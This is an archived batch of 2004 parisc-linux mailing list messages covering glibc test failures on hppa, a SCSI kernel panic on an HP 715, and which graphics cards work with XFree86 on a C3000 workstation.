Xref: news.gmane.org gmane.linux.ports.parisc:20584

Hi Carlos,


>========
>GNU/libc
>========
>
>I'm here to speak on behalf of the userspace work we have done. Glibc is
>in *much* better shape than before, a year ago there were so many errors
>I didn't know where to begin. Our current list of failures is down to:
>
>make[2]: *** [/glibc-work/build-hppa/math/test-float.out] Error 136
>make[2]: *** [/glibc-work/build-hppa/math/test-double.out] Error 1
>make[2]: *** [/glibc-work/build-hppa/math/test-ifloat.out] Error 136
>make[1]: *** [math/tests] Error 2
>
>These three tests are related to the fact that we don't have long double
>supported properly. Waiting on HP to release the code.

Looking for something similar, some time ago, I figure out that Paul released
some interesting hp lib stuff in gcc snapshot (the futur 3.4) into gcc/config/pa
 as milli64.S (optimized div, mul, ....), ... (my last cvs update was dated
of dec 2003 and it seems that this feature was dated of Aug 2003 so I trust
that last debian package gcc-snapshot should also contain this material)

I just don't yet reach to rebuild it (gcc-snapshot) following toolchain process
(but I don't much retry because of gnu pserver cvs pb; in the mean time I
read that new anonymous access would be with ssh, even though last weekend
it was not yet operational?) because I much work on 3.3.3.

hth,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scsi problem on a scorpio (715)
Date: Thu, 08 Jan 2004 10:58:39 +0100
Organization: Carduus
Lines: 71
Approved: news@gmane.org
Message-ID: <3FFD29CF.F10EBE14@tiscalinet.it>
References: <3FFC9A15.6FA66B2@tiscalinet.it>
	<Pine.LNX.4.58.0401072226130.5327@brain.fop.ns.ca>
	<20040108025218.GA20732@colo.lackof.org>
Reply-To: rollei@tiscalinet.it
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623114 4386 80.91.229.3 (22 Nov 2014 02:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:14 +0000 (UTC)
Cc: parisc linux <parisc-linux@lists.parisc-linux.org>,
	Steve Bromwich <hppa@fop.ns.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: rollei@tiscalinet.it  Thu Jan  8 02:57:28 2004
Return-Path: <rollei@tiscalinet.it>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FA434868
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jan 2004 02:57:28 -0700 (MST)
Original-Received: from tiscalinet.it (151.38.68.2) by smtp0.libero.it (7.0.020-DD01)
	(authenticated as zuse@libero.it)
	id 3F6F1CE701F16695; Thu, 8 Jan 2004 10:57:22 +0100
Original-Sender: multix@dsl2.external.hp.com
X-Mailer: Mozilla 4.79 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Jan 2004 09:57:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20585

Help! The machine just doesn't come up anymore! After the screengrap I
posted the kernel dies with a panic...

This time I hooked up a monitor during the whole startup and I notice
some details:
- both eth0 and scsi0 drivers complain about not being able to allcoate
"consistent memory" is this ok? doesn't sound nice.
- there is always a printout saying "kernel bug found in slab.c" with
also a line number which at the moment I can't read (hooked up
themonitor to another computer to be able to write this mail).

Grant Grundler wrote:
 
> The drives shipped with workstations had "Write Cache Enable" (aka WCE)
> turned on by default.  Not good if you really care about your data.
> But Tag queue depth of 2 works great because the drive will immediately
> report "success" until it's on-board cache was full.
I'm currently not using HP drives but two disk drives that worked fine
in a sun workstation and a macintosh, IIRC. Both worked fine with
NetBSD, OpenBSD and some other os's.

I really did a sort of razzia dismantling half of my server and
workstations when I first tried installing linux to get some working
drives. I remember trying out several IBM DFHSS and similar drives of
the 1, 2 GB size. 
The original HP 525MB scsi drives (rebranded Quantum ProDriveLPS 525S)
gave problems too. I have one of those unused and this is the one I used
to test the kernel again.

Currently the machine has a Seagate ST566 (palo and user home as well as
scratch) and a IBM DORS 2GB disk with root. They both are reported as
scsi-2...

 
> >  as the 715
> > is a workstation it might be worth trying setting tags to 2 and seeing
> > what happens?
> 
> Unless performance is more important than strict correctness, I still
> reccommend tag queue depth of 8 and disable "Write Cache" setting.
> Reducing queue depth further typically only limits performance.
> 
> I suspect something else is wrong in Riccardo's case. But it wouldn't
> hurt disable queue tags completely and see if that is at least stable.
Indeed, since I'm not using HP drives. I looked at the jumpers of the HP
relabeled disk and I found none regarding caching.
But does tag queueing affect the controller the disks or both? Either
all my disks are bugged or...

A later post in this thread mentions that setting tag to 0 is not a good
idea and that 2 or 4 would be a resonable value.


I already have quite poor scsi performance. running hdparm -tT yields me
about 8-10 MB buffer but only about 1.5MB/sec non-buffer read! I'd
expect more something around the 4-5Mb/sec range...

-Ric

PS. I hope someone has a suggestion for revitalizing my scorpio. Hooking
up an external CD to get the gentoo live-cd and then reinstalling is a
nuisance
PPS: right now root partition is raiser, so at least I don't loose data
when the sytem freezes and the genoo portage tree doesn't fill up my
disk with small files. SOmeone suggested Raiser being not stable,
howewer since the freeze happens already at MKFS (ext2/ext3 too) and
also did happen on a previous install some weeks ago with ext2 file
system (on a different, HP branded disk!) I think it is unrelated. The
scsi driver sees the problem (or something else affects the scsi driver,
some cache flushing for example)


From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 9 Jan 2004 19:02:12 +1000
Lines: 44
Approved: news@gmane.org
Message-ID: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01C3D6E3.16CE1270"
X-Trace: ger.gmane.org 1416623114 4389 80.91.229.3 (22 Nov 2014 02:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Fri Jan  9 02:03:15 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-04.iinet.net.au [203.59.3.36])
	by dsl2.external.hp.com (Postfix) with SMTP id 9DC334857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 02:03:14 -0700 (MST)
Original-Received: (qmail 14991 invoked from network); 9 Jan 2004 09:03:11 -0000
Original-Received: from unknown (HELO nitephyre) (203.173.22.200)
	by mail.iinet.net.au with SMTP; 9 Jan 2004 09:03:11 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 09:03:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20586

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C3D6E3.16CE1270
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

ok, i've read the documentation, but i just want to clarify...=20

do the fx4 video cards work with this or not?

i managed (finally) to get it all installed

cheers, matt

------=_NextPart_000_0007_01C3D6E3.16CE1270
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>ok, i've read the documentation, but i =
just want to=20
clarify... </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>do the fx4 video cards work with this =
or=20
not?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>i managed (finally) to get it all=20
installed</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>cheers, matt</FONT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C3D6E3.16CE1270--



From - Thu Nov 08 21:30:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 9 Jan 2004 01:43:54 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20040109094354.GZ533@tausq.org>
References: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623115 4392 80.91.229.3 (22 Nov 2014 02:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: randolph@tausq.org  Fri Jan  9 02:16:14 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5427F4857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 02:16:14 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 06349CD294; Fri,  9 Jan 2004 01:43:55 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 09:16:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20587

> do the fx4 video cards work with this or not?

No.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 9 Jan 2004 01:49:04 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20040109094904.GA533@tausq.org>
References: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
	<20040109094354.GZ533@tausq.org>
	<001701c3d691$4ca17ec0$0101a8c0@nitephyre>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623115 4393 80.91.229.3 (22 Nov 2014 02:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: randolph@tausq.org  Fri Jan  9 02:21:21 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A2CC4857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 02:21:21 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1AEF7CD2EA; Fri,  9 Jan 2004 01:49:04 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <001701c3d691$4ca17ec0$0101a8c0@nitephyre>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 09:21:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20588

In reference to a message from Matt Lewis, dated Jan 09:
> ah crap..
> 
> ok then, can i use my normal TNT2 then?

(please reply on the list)

In general x86 video cards do not work because they have bios that need
to run x86 code (that's my understanding anyway). this has been
discussed several times on the list.  there's an additional problem
which is that some pa firmware refuses to boot with non-HP gfx cards.

Your best bet is to get a PCI Vis-EG card which do work quite well.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 9 Jan 2004 19:23:31 +1000
Lines: 108
Approved: news@gmane.org
Message-ID: <002601c3d692$40450420$0101a8c0@nitephyre>
References: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
	<20040109094354.GZ533@tausq.org>
	<001701c3d691$4ca17ec0$0101a8c0@nitephyre>
	<20040109094904.GA533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0023_01C3D6E6.114F07C0"
X-Trace: ger.gmane.org 1416623115 4397 80.91.229.3 (22 Nov 2014 02:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Fri Jan  9 02:24:34 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-07.iinet.net.au [203.59.3.39])
	by dsl2.external.hp.com (Postfix) with SMTP id 7416D4857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 02:24:33 -0700 (MST)
Original-Received: (qmail 5800 invoked from network); 9 Jan 2004 09:24:30 -0000
Original-Received: from unknown (HELO nitephyre) (203.173.22.200)
	by mail.iinet.net.au with SMTP; 9 Jan 2004 09:24:30 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 09:24:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20589

This is a multi-part message in MIME format.

------=_NextPart_000_0023_01C3D6E6.114F07C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

oops sorry about that randolph, using outlook atm :)

thanks, i'll have a look on ebay...=20
----- Original Message -----=20
  From: Randolph Chung=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Friday, January 09, 2004 7:49 PM
  Subject: Re: [parisc-linux] Xfree on C3000 visualize


  In reference to a message from Matt Lewis, dated Jan 09:
  > ah crap..
  >=20
  > ok then, can i use my normal TNT2 then?

  (please reply on the list)

  In general x86 video cards do not work because they have bios that =
need
  to run x86 code (that's my understanding anyway). this has been
  discussed several times on the list.  there's an additional problem
  which is that some pa firmware refuses to boot with non-HP gfx cards.

  Your best bet is to get a PCI Vis-EG card which do work quite well.

  randolph
  --=20
  Randolph Chung
  Debian GNU/Linux Developer, hppa/ia64 ports
  http://www.tausq.org/


------=_NextPart_000_0023_01C3D6E6.114F07C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>oops sorry about that randolph, using =
outlook atm=20
:)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks, i'll have a look on ebay... =
</FONT></DIV>
<DIV>----- Original Message ----- </DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:randolph@tausq.org" =
title=3Drandolph@tausq.org>Randolph=20
  Chung</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, January 09, 2004 =
7:49=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Xfree on=20
  C3000 visualize</DIV>
  <DIV><BR></DIV>In reference to a message from Matt Lewis, dated Jan=20
  09:<BR>&gt; ah crap..<BR>&gt; <BR>&gt; ok then, can i use my normal =
TNT2=20
  then?<BR><BR>(please reply on the list)<BR><BR>In general x86 video =
cards do=20
  not work because they have bios that need<BR>to run x86 code (that's =
my=20
  understanding anyway). this has been<BR>discussed several times on the =

  list.&nbsp; there's an additional problem<BR>which is that some pa =
firmware=20
  refuses to boot with non-HP gfx cards.<BR><BR>Your best bet is to get =
a PCI=20
  Vis-EG card which do work quite well.<BR><BR>randolph<BR>-- =
<BR>Randolph=20
  Chung<BR>Debian GNU/Linux Developer, hppa/ia64 ports<BR><A=20
  =
href=3D"http://www.tausq.org/">http://www.tausq.org/</A><BR></BLOCKQUOTE>=
</BODY></HTML>

------=_NextPart_000_0023_01C3D6E6.114F07C0--



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 9 Jan 2004 19:29:45 +1000
Lines: 110
Approved: news@gmane.org
Message-ID: <002d01c3d693$1f1b3840$0101a8c0@nitephyre>
References: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
	<20040109094354.GZ533@tausq.org>
	<001701c3d691$4ca17ec0$0101a8c0@nitephyre>
	<20040109094904.GA533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002A_01C3D6E6.F029CFC0"
X-Trace: ger.gmane.org 1416623116 4401 80.91.229.3 (22 Nov 2014 02:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:16 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Fri Jan  9 02:32:06 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-07.iinet.net.au [203.59.3.39])
	by dsl2.external.hp.com (Postfix) with SMTP id 4BE0C4857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 02:32:05 -0700 (MST)
Original-Received: (qmail 22773 invoked from network); 9 Jan 2004 09:30:44 -0000
Original-Received: from unknown (HELO nitephyre) (203.173.22.200)
	by mail.iinet.net.au with SMTP; 9 Jan 2004 09:30:44 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 09:32:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20590

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01C3D6E6.F029CFC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

http://cgi.ebay.com.au/ws/eBayISAPI.dll?ViewItem&item=3D3070354300&catego=
ry=3D11221

is that one that would work?
  ----- Original Message -----=20
  From: Randolph Chung=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Friday, January 09, 2004 7:49 PM
  Subject: Re: [parisc-linux] Xfree on C3000 visualize


  In reference to a message from Matt Lewis, dated Jan 09:
  > ah crap..
  >=20
  > ok then, can i use my normal TNT2 then?

  (please reply on the list)

  In general x86 video cards do not work because they have bios that =
need
  to run x86 code (that's my understanding anyway). this has been
  discussed several times on the list.  there's an additional problem
  which is that some pa firmware refuses to boot with non-HP gfx cards.

  Your best bet is to get a PCI Vis-EG card which do work quite well.

  randolph
  --=20
  Randolph Chung
  Debian GNU/Linux Developer, hppa/ia64 ports
  http://www.tausq.org/


------=_NextPart_000_002A_01C3D6E6.F029CFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://cgi.ebay.com.au/ws/eBayISAPI.dll?ViewItem&amp;item=3D30703=
54300&amp;category=3D11221">http://cgi.ebay.com.au/ws/eBayISAPI.dll?ViewI=
tem&amp;item=3D3070354300&amp;category=3D11221</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>is that one that would =
work?</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:randolph@tausq.org" =
title=3Drandolph@tausq.org>Randolph=20
  Chung</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, January 09, 2004 =
7:49=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Xfree on=20
  C3000 visualize</DIV>
  <DIV><BR></DIV>In reference to a message from Matt Lewis, dated Jan=20
  09:<BR>&gt; ah crap..<BR>&gt; <BR>&gt; ok then, can i use my normal =
TNT2=20
  then?<BR><BR>(please reply on the list)<BR><BR>In general x86 video =
cards do=20
  not work because they have bios that need<BR>to run x86 code (that's =
my=20
  understanding anyway). this has been<BR>discussed several times on the =

  list.&nbsp; there's an additional problem<BR>which is that some pa =
firmware=20
  refuses to boot with non-HP gfx cards.<BR><BR>Your best bet is to get =
a PCI=20
  Vis-EG card which do work quite well.<BR><BR>randolph<BR>-- =
<BR>Randolph=20
  Chung<BR>Debian GNU/Linux Developer, hppa/ia64 ports<BR><A=20
  =
href=3D"http://www.tausq.org/">http://www.tausq.org/</A><BR></BLOCKQUOTE>=
</BODY></HTML>

------=_NextPart_000_002A_01C3D6E6.F029CFC0--



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Quinn, Timothy" <Timothy.Quinn@McKesson.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] C200 available to good home (Pittsburgh area
 )
Date: Fri, 9 Jan 2004 05:37:33 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <97399C6F047FFE43BA1F4520E9E27EF504465A50@atlexc05ntms.hboc.com>
